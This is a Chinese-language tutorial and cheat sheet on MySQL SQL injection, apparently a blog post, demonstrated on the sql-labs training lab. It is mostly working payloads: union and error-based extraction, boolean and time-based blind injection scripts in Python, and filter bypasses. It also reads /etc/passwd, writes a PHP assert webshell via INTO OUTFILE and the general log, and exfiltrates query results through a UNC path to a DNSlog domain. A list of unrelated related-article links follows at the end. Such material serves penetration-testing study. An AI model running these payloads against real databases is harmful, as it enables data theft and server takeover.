SQL注入(以Mysql为例)

大致分为有回显和无回显两类进行梳理,重心会放在盲注这一块,正则匹配等一些技巧都放在盲注部分。

使用sql-labs进行演示,在challenges数据库中在添加一个flag数据库表,并修改sql-labs源码使其回显执行的sql语句,方便演示。

判断是否存在SQL注入

本质都是看页面是否出现异常

  1. 加单引号’、双引号”、单括号)、双括号))或者进行组合看看是否报错(字符型)。
  2. 服务器不返回报错信息时,加 and 1=1 、 and 1=2 看页面是否有变化(数字型),字符型的话还得先闭合sql语句(使用# | --+ |'单引号等闭合)。
  3. 如果没有回显信息的话,加上sleep()、benchmark() 等能产生时间延迟的函数,根据服务器响应时间进行判断。

有回显:

union注入:

最基础的注入类型,sql语句大致为:

SELECT * FROM users WHERE id='$id' LIMIT 0,1  #Less-1

获得当前表的列数:

?id=111' order by 4--+
?id=111' union select 1,2,3--+

报错就是超过列数了,几个字段通常对应页面上有几个回显位。

这时已经可以使用mysql函数获取一些基本信息了,如版本号以便后面注入。

  • version() /@@version:数据库的版本
  • database() :当前使用的数据库
  • @@basedir : 数据库的安装目录
  • @@datadir : 数据库文件的存放目录
  • user() : 数据库的用户
  • current_user() : 当前用户名
  • system_user() : 系统用户名
  • session_user() :连接到数据库的用户名

获取数据库:

接下来的操作都得依赖 information_schema.tables ,这里存储了数据库的结构:数据库名、表名、列名(字段名)等。

union select 1,group_concat(schema_name),3 from information_schema.schemata--+

获取表名:

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+

获取列名:

union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='flag' --+

获取字段值:

union select 1,group_concat(flag),3 from challenges.flag --+

报错注入:

页面上没有显示位,但是能输出 sql语句执行错误信息。比如存在 mysql_error()。

通过函数之间的产生的异常,使得查询的一部分(payload)以错误回显的形式显示出来。

floor报错注入
and (select * from (select count(*) from information_schema.tables group by concat((user()),floor(rand(0)*2)))a)--+

user()处为你想查询的内容,如查询所有的数据库名:

and (select * from (select count(*) from information_schema.tables group by concat((select group_concat(schema_name) from information_schema.schemata),floor(rand(0)*2)))a)--+
ExtractValue报错注入
and extractvalue(1, payload)
UpdateXml报错注入
and updatexml(1,payload,1)

ExtractValue、UpdateXml对输出字符数会有限制,需要配合字符串截取方法。

无回显:

无回显的话需要找到判断值(如and 1=1 | and 1=2)的不同回显或者反应。

  • 回显内容、长度不同
  • 返回的HTTP头的不同,比如结果为真可能会返回Location头或者set-cookie
  • 看HTTP状态码,比如结果为真(登录成功)则3xx重定向,为假则返回200
  • 服务器响应时间

然后还需要三点:

  1. 判断表达式的真假(or and ^等逻辑运算符)

  2. 字符串截取(substr()、left()、REGEXP)

  3. 判断字符串是否相等(= > LIKE REGEXP等比较运算符)

    MySQL运算符|菜鸟教程

下面对判断表达式的真假、字符串截取和判断分别进行梳理。

布尔盲注:

判断表达式的真假

通常可用and、or、&、|| 这些,如:

1' and 1=2  1' || 1=1#
异或注入

但在过滤了and、or 之后^异或符号就派上用处了,也就是xor注入,其基本原理:

0^1^0 --> 1 返回为真
0^0^0 --> 0 返回为假
1^0^1 --> 0 1^1^1 -->1

结果均由中间位置值决定,那么把中间的位置换成payload就行了

注释符号被过滤时也可以使用

字符串截取

substr()

从字符串 s 的 n 位置截取长度为 len 的子字符串

SUBSTR(str,pos,len)

mid()

从字符串 s 的 n 位置截取长度为 len 的子字符串

MID(str,pos) | MID(str,pos,len) | MID(str FROM pos) | MID(str FROM pos FOR len)

其实上面得substr函数也可以这样操作,mid()和substr()都是substring()的同义词。

right() | left()

从字符串 s 的右/左边开始返回n 个字符

right | left(s,n)

right() | left()不能像substr和mid一样精准截取某一位进行比较,但可以配合ascii / ord函数一起使用(left还要加上reverse()),这两个函数会返回字符串 s 的第一个字符的 ASCII 码。通过修改返回字符数就能进行按位比较了。

lpad | rpad

在字符串 s1 的开始处填充字符串 s2,使字符串长度达到 len

lpad | rpad(s1,len,s2)

用法和right | left差不多

insert()

字符串 s2 替换 s1 的 pos 位置开始长度为 len 的字符串

insert(s1pos,len,s2)

insert的按位比较可以使用left那种方法,也可以对insert进行嵌套

select ascii(reverse(insert('abcde',4,999999,'')));

SELECT insert((insert('abcde',1,截取的位数,'')),2,9999999,''); #从0开始

trim()

表示移除str这个字符串首尾(BOTH)/句首(LEADING)/句尾(TRAILING)的remstr

TRIM([{BOTH | LEADING | TRAILING} [remstr] FROM str)

如果要移除的字符是开头字符串则移除,若不是则返回原字符串

也就是说除了首字符串以外,其他字符进行截取返回值都是一样的,那就可以用来判断首字符串了。

也就是说对两个字符i和i+1的trim截取结果进行比对,若不一样即结果为0,说明两个字符串中间有一个是正确结果。接下来对比i+1和i+2即可,若一样即结果为1,说明i+1和i+2都不是正确结果,第一位是i。

当我们判断出第一位是'a'后,只要继续这样判断第二位,然后第三位第四位…以此类推:

regexp | rlike

截取+比较的结合体

binary 目标字符串 regexp| rlike 正则

使用binary是因为regexp | rlike匹配是大小写不敏感的,需要加上binary关键字(binary不是regexp的搭档,使用位置是字符串的前面用于描述类型,MySQL中binary是一种字符串类型)

判断字符串是否相等

RLIKE / REGEXP
异或
= < >
LIKE

模糊匹配,可替代等号。

BETWEEN

expr BETWEEN 下界 AND 上界

IN

判断是否在一个集合中,大小写不敏感,需配合binary关键字

expr1 in (expr1, expr2, expr3)

GREATEST | LEAST

返回列表中的最大/小值,可代替比较操作符

GREATEST | LEAST(expr1, expr2, expr3, …)

减号或取余

配合and 或者 or使用,只要在结果正确时才为0

order by

通过order的排序功能比较结果,比较的是数据的首字母大小,使用limit限制输出第一个,可代替> <使用

(select 'r' union select user() order by 1 limit 1)='r';
#表有多条数据时使用where限定条件,再查询比较
SELECT * from users where username='Dumb' union SELECT 1,2,'e' order BY 3 LIMIT 1;

CASE

CASE s1 WHEN s2 THEN exp1 ELSE exp2 END;

脚本模板

import requests url = f"http://127.0.0.1//Less-5/?id=1'"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,']
res = ''for i in range(1,60):for j in string:payload = f" and 1=(ascii(right((select group_concat(schema_name) from information_schema.schemata),{i}))='{j}')--+"r = requests.get(url+payload)if 'You are in' in r.text:res = chr(j)+resprint(res)

时间盲注:

与布尔盲注大致相同,最大的区别是直接返回0 1已经无法得知结果了,需要构造条件表达式利用相关函数进行延时反馈。

条件表达式

CASE
CASE WHEN (condition) THEN exp1 ELSE exp2 END; # 表示如果condition条件为真则返回exp1,否则返回exp2
if
if((condition), exp1, exp2);

延时函数

sleep()
benchmark()

测试某些特定操作的执行速度,若执行次数足够大就可以产生延迟

benchmark(执行次数,特定操作)

笛卡尔积延迟
union select count(*) from information_schema.tables a join information_schema.columns b join information_schema.columns c where (1=2) #可以使用联合查询的话直接在where后加条件select count(*) from information_schema.tables a join information_schema.columns b join information_schema.columns c;  #不行就和sleep一样加到if或case when里面

正则
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

脚本模板

import requests url = f"http://127.0.0.1//Less-5/?id=1'"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,']
res = ''for i in range(1,60):for j in string:payload = f" and if((ascii(right((select group_concat(schema_name) from information_schema.schemata),{i}))='{j}'),sleep(3),0)--+"try:requests.get(url+payload, timeout=2)except:res = chr(j)+resprint(res)break

报错盲注:

还有一种情况就是没有开具体的报错信息回显,但页面会告诉你是否出错了。

直接套用时间盲注用的条件表达式(if、case)即可,将延时函数换成会引起报错的函数。

报错函数

exp()
exp(999*(condition)); #结果数值过大报错
exp(709+(condition));

pow
pow(999*(1=1),999)  #结果数值过大报错
cot
cot(condition) #条件为假就报错

Bypass

空格

select/**/ascii(substr('abcde',1,1))>97; # /**/注释符
select 'test',(select user() from admin limit 0,1) # 括号
select`id`from`student`; # 反引号,适用于包裹表名和列名

空白字符(url当中使用):%09,%0a,%0b,%0c,%0d,%20,%a0;

select关键字

table student => select * from student; #mysql8可用
handler
handler users open as test;
handler test read FIRST;
handler test read next;

show
show tables;
show columns from users;

单引号

参数逃逸:
  • 宽字节

    数据库的gbk编码与PHP的UTF-8,和addslashes的影响下产生的单引号逃逸

    %df%27 => %df%5c%27 => 運’ (%5c为反斜杠转义符)

  • 转义一个原SQL语句的单引号产生逃逸,反正只要有单引号不配对就行

    select * from users where username = '\' and password = 'and 1=1#'
    
字符串:
  • 双引号

  • char函数

  • conv函数进制转换

    lower(conv(10,10,36)) # 'a'
    lower(conv(11,10,36)) # 'b'
    
  • 使用16进制

    select unhex(hex(6e6+382179)); #16进制转10进制再用科学计数法表示
    

逗号

offset:
limit 9 offset 4 => limt 9,4
join语句代替:
select * from users union select * from (select 1)a join (select 2)b JOIN (SELECT 3)c;
#等价于=>
select * from users union SELECT 1,2,3;

数字/字母

false !pi()           0     ceil(pi()*pi())           10 A      ceil((pi()+pi())*pi()) 20       K
true !!pi()           1     ceil(pi()*pi())+true      11 B      ceil(ceil(pi())*version()) 21   L
true+true             2     ceil(pi()+pi()+version()) 12 C      ceil(pi()*ceil(pi()+pi())) 22   M
floor(pi())           3     floor(pi()*pi()+pi())     13 D      ceil((pi()+ceil(pi()))*pi()) 23 N
ceil(pi())            4     ceil(pi()*pi()+pi())      14 E      ceil(pi())*ceil(version()) 24   O
floor(version())      5     ceil(pi()*pi()+version()) 15 F      floor(pi()*(version()+pi())) 25 P
ceil(version())       6     floor(pi()*version())     16 G      floor(version()*version()) 26   Q
ceil(pi()+pi())       7     ceil(pi()*version())      17 H      ceil(version()*version()) 27    R
floor(version()+pi()) 8     ceil(pi()*version())+true 18 I      ceil(pi()*pi()*pi()-pi()) 28    S
floor(pi()*pi())      9     floor((pi()+pi())*pi())   19 J      floor(pi()*pi()*floor(pi())) 29 T

https://wooyun.js.org/drops/MySQL%E6%B3%A8%E5%85%A5%E6%8A%80%E5%B7%A7.html

无列名注入(可盲注)

select arnold FROM (select 1,'arnold',3 union select * from users)any;select b FROM (select 1,2 AS b,3 union select * from users)any;SELECT `2` FROM (select 1,2,3 union select * from users)any;

先用union构造表的别名,然后再套个select去查询这列的值

或者比较两个子查询的结果进行盲注,通过大小于号,可以逐字符检索出数据

select (SELECT 2,'de','admin')>(select * from users limit 1);

join using()注列名(需有错误回显)

通过对想要查询列名的表与其自身建立内连接产生列名冗余错误,通过错误回显得到表名。

使用 USING 表达式声明内连接(INNER JOIN)条件来避免重复报错,得到后续列名.

SELECT * FROM (SELECT * from users a JOIN (SELECT *FROM users)ANY) ANY;SELECT * FROM (SELECT * from users a JOIN (SELECT *FROM users)b USING(id))c;SELECT * FROM (SELECT * from users a JOIN (SELECT *FROM users)b USING(id,username))c;

无information_schema

information_schema就是个信息数据库,思路是找个能代替他的库。

InnoDB:

mysql.innodb_table_stats(mysql默认关闭InnoDB存储引擎)

sys.schemma;

基础数据来自于performance_chema和information_schema(version >= 5.7)

sys.x$schema_flattened_keys

sys.schema_table_statistics

sys.x$ps_schema_table_statistics_io(这个是表名最多最全的)

sys.schema_auto_increment_columns(监控表自增id)

sys.schema_table_statistics_with_buffer

这里只列举了一些,更详细的可以看https://xz.aliyun.com/t/7169#toc-53

获得表名之后配合无列名注入,或者join using报错得到列名就行。

正则过滤关键字

无order by判断字段数

where id = '1' group by 3;
where username = 'Dumb' limit 1,1 into @,@,@;

其他类型的注入:

二次注入

常见于用户名处,数据存入的时候经过过滤转义,但登录时,或取出来在网页上展示的时候没有做防护。

order by注入

以sql-labs Less-50为例

可以利用order by后的一些参数进行注入,依据排列结果作为反馈

RAND(LEFT(database(),1)>'r')
RAND(LEFT(database(),1)>'s')

#布尔
rand(1=1)
IF(1=1,name,price)
(CASE WHEN (1=1) THEN name ELSE price END)
#报错
(select 1 regexp if(1=1,1,0x00))
updatexml(1,if(1=1,1,user()),1)
extractvalue(1,if(1=1,1,user()))
#时间
IF(ASCII(SUBSTR(database(),1,1))>115,1,sleep(1))

堆叠注入

union select不可用时,若在支持多语句执行的情况下,可利用 ;分号 执行其他恶意语句。

为了解决堆叠注入后执行的语句结果无法返回给网页的问题,可使用rename 、alter关键字修改表名、字段名,使得目标表和列顶替原来的,那就能被原定的查询语句查到了。

rename table `words` to `word`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);

PDO模拟预处理

https://xz.aliyun.com/t/3950#toc-4

文件读写

  • secure-file-priv无值或目录名可被利用(mysql >= 5.5.53,secure-file-priv的值默认为NULL
  • 绝对目录可知
  • 对文件/目录有读/写权限

查看是否有权限

select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";

无回显的话可尝试配合 and 1=1等永真条件,根据页面回显判断是否成功

读文件

  1. LOAD_FILE的默认目录@@datadir
  2. 文件必须是当前用户可读
  3. 读文件最大的为1047552个byte, @@max_allowed_packet可以查看文件读取最大值
读取服务端文件
select load_file('D:\xampp\htdocs\www\wanju\htaccess.txt');
select load_file('/etc/hosts');
#读取文件写入表中
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
读取客户端文件
#无secure-file-priv权限要求
#连接服务器时需开启 LOAD DATA LOCAL INFILE选项 --enable-local-infile
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #客户端

通过LOAD DATA LOCAL命令,服务端可以要求客户端读取有可读权限的任何文件,且服务端可以在任何查询语句后回复文件传输请求

正常读文件的处理逻辑:

客户端:把/etc/passwd的内容存入file表中
服务端:请发送/etc/passwd内容
客户端:/etc/passwd的内容如下

但通常客户端不会主动发出这个文件内容写入请求,多为正常的增删改查,而恶意服务端则是利用可以用文件传输请求来回复任何语句这一点,直接用文件传输请求回复查询等sql操作。

客户端:查询file表的test1字段内容
恶意服务端:请发送/etc/passwd内容
客户端:/etc/passwd的内容如下

rogue_mysql_server的读文件功能就是这个原理

更多拓展攻击方式参考:CSS-T | Mysql Client 任意文件读取攻击链拓展

写文件

  1. INTO OUTFILE不会覆盖文件
  2. INTO OUTFILE必须是查询语句的最后一句
  3. 路径名是不能编码的,必须使用单引号 创建数据库导出一句话后门,secure_file_priv 需要开启
select 1,"<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';select 2,"<?php @assert($_POST['t']);?>" into dumpfile '/var/www/html/1.php';into outfile 'G:/2.txt' fields terminated by '<? phpinfo(); ?>';

outfile:

1、 支持多行数据同时导出

2、 使用union联合查询时,要保证两侧查询的列数相同

3、 会在换行符制表符后面追加反斜杠

4、会在末尾追加换行

dumpfile:

1、 每次只能导出一行数据

2、 不会在换行符制表符后面追加反斜杠(可用于写入二进制文件)

3、 不会在末尾追加换行

http://www.teagle.top/index.php/archives/157/

写入mysql日志
#查询当前mysql下log日志的默认地址,同时也看下log日志是否为开启状态,并且记录下原地址,方便后面恢复。
show variables like '%general%';#开启日志监测(默认关闭)。
set global general_log = on;#这里设置我们需要写入的路径就可以了。
set global general_log_file = 'C:/2.txt';#通过查询写入马。
select '<?php phpinfo();?>';#复原日志设置
set global general_log_file = 'D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\data\\xxx.log';set global general_log = off;

http://sh1yan.top/2018/05/26/mysql-writ-shell/

DNSlog外带数据

利用unc路径配合load_file()函数可以用来发送dns解析请求,把查询结果放在多级域名中解析,然后能够在dns 服务器的解析日志中获取查询结果。

  • windows下可用,linux默认不可用
  • 有文件读取权限及secure-file-priv无值
  • 需要在域名中添加随机字符串,以绕过dns缓存机制发送多次请求
  • unc路径最大长度为128,可以通过使用substr、mid等字符串截取函数,每次传输特定位数的数据。
  • unc路径中不能含有空格等特殊字符,可对结果进行hex编码
  • dnslog平台:http://ceye.io/,http://www.dnslog.cn
select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'));
 **UNC路径:**

​ 上面CONCAT()函数的四个反斜杠去掉两个转义用的,实际是两 个反斜杠。刚好对应Windows当中共享文件使用的网络地址格 式开头\\sss.xxx\test\,也就是UNC路径。再访问时会先进行 DNS查询

Mysql约束攻击

在SQL中执行字符串处理(如比对的时候)时,字符串末尾的空格符将会被删除

mysql数据库中当插入某个字段的值超过了预设的长度,mysql会自动造成截断(需关闭严格模式, STRICT_TRANS_TABLES),利用这一点可用绕过数据插入前的已存在比对

admin 1的超长字符串用户,在插入数据库前先查询是否已经有存在的用户时不等于admin,但在存入数据库后变成admin ,再在登录查询时就等于admin了

以此顶替admin用户登录

参考:

https://www.gem-love.com/2022/01/26/%E4%B8%80%E6%96%87%E6%90%9E%E5%AE%9AMySQL%E7%9B%B2%E6%B3%A8/

https://www.smi1e.top/2018/06/19/sql%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0/

https://xz.aliyun.com/t/7169

https://nosec.org/home/detail/3830.html

https://www.jianshu.com/p/f2611257a292

https://www.anquanke.com/post/id/193512

MySQL注入及绕过备忘录相关推荐

  1. mysql注入转义绕过_SQL注入防御绕过——宽字节注入

    01 背景知识 字符集 在了解宽字节注入之前,我们先来看一看字符集是什么.字符集也叫字符编码,是一种将符号转换为二进制数的映射关系. 几种常见的字符集: ASCII编码:单字节编码 latin1编码: ...

  2. mysql 绕过select报错_Web安全之SQL注入(原理,绕过,防御)

    首先了解下Mysql表结构 mysql内置的information_schema数据库中有三个表非常重要 1 schemata:表里包含所有数据库的名字 2 tables:表里包含所有数据库的所有的表 ...

  3. SQL注入之MySQL注入姿势及绕过

    SQL注入之MySQL注入姿势及绕过 参考链接: https://xz.aliyun.com/t/10594 感受 1. 写的详细,并且绕过姿势也很多,大佬级人物 2. 在网上发现类似的文章,感觉这就 ...

  4. Mysql注入绕过WAF总结

    Mysql注入绕过WAF总结 过滤等于号 select * from user where id = 2; select * from user where id like 2; select * f ...

  5. MySQL注入 绕过去除注释符

    MySQL注入 绕过去除注释符 1.MySQL中的注释符 注释符的作用:用于标记某段代码的作用,起到对代码功能的说明作用,但是注释掉的内容不会被执行. MySQL中的注释符: 1.单行注释:--+或- ...

  6. mysql 注入 绕过防火墙_绕过阿里云防火墙继续扫描探测和SQL注入

    前言 如今的互联网,WAF泛滥的年代,实在让我等脚本小子苦恼ing,尤其是阿里云服务器的自带防护,那不是一般的叫人牙疼,十个站8个站都是阿里云.... 最近遇到几个站都是阿里云的服务器,比如:泛微e- ...

  7. mysql内置变量_详解MySQL注入利用的变量

    MySQL注入数据库时,我们可以利用内置的变量来得到更多的mysql信息,下面就让我们一起来了解MySQL注入利用的变量. 当我们注射mysql库的输入点的时候,可以通过version()/user( ...

  8. MySql注入的基本了解

    常用的mysql语句 创建mysql用户 #'host'的值为指定哪些ip可以登录,值为'%'表示任何人可以登录,值为'localhost'仅允许本机登录 CREATE USER 'username' ...

  9. B站小迪安全笔记第十三天-SQL注入(MYSQL注入)

    前言: MYSQL 注入中首先要明确当前注入点权限,高权限注入时有更多的 攻击手法,有的能直接进行 getshell 操作.其中也会遇到很多阻碍,相关 防御方案也要明确,所谓知己知彼,百战不殆.不论作 ...

最新文章

  1. glassfish_具有GlassFish和一致性的高性能JPA –第2部分
  2. visual studio无法更新_VS Code Python 扩展 5 月更新
  3. 36Kr鬼畜推送,没事别惹程序员
  4. fopen的路径怎么写_用C++写光线追踪:单根光线的渲染
  5. shell read
  6. python之event【事件】
  7. bzoj 1670: [Usaco2006 Oct]Building the Moat护城河的挖掘(凸包)
  8. android微信回调数据,Android 支付回调-1
  9. 经典白平衡算法(灰度世界法和完美反射法MATLAB完整代码)
  10. 用java编写宠物店管理系统_基于jsp的宠物店管理系统-JavaEE实现宠物店管理系统 - java项目源码...
  11. vb.net读取写入EXCEl的终极方法-NOPI。
  12. 计算机组装训练知识总结,组装知识总结
  13. 文本分析主要包含哪些技术,文本分析技术的发展方向是什么?
  14. Android9.0 vendor分区整包升级
  15. 真的羡慕玉自寒和烈如歌的爱情
  16. 低功耗蓝牙开发技术概述(三)——主机
  17. PL_SQL模块学习之十六、记录
  18. 区块链交易明细中各字段的含义
  19. 改编的一个屏幕保护程序
  20. 农业期刊论文发表的格式

热门文章

  1. jeecg-boot字典翻译改造(支持实体类详情查询自动翻译)
  2. 女性朋友约我看水,我反手用可视化搞出水面倒影(Shader Graph)
  3. linux c++贪吃蛇代码,贪食蛇源码c++
  4. 学校计算机教室苹果店,苹果给零售店大改造,要把全球的店面变成教室
  5. 基于akka的flink RPC调用
  6. oracle轮训查询,道路客运管理信息系统
  7. Vim使用小记(一)常用操作
  8. 搭建服务器部署聊天机器人记录
  9. 全志A33平台调通AP6181(分色排版)
  10. Excel:如何用vlookup函数进行两个表格数据的对比。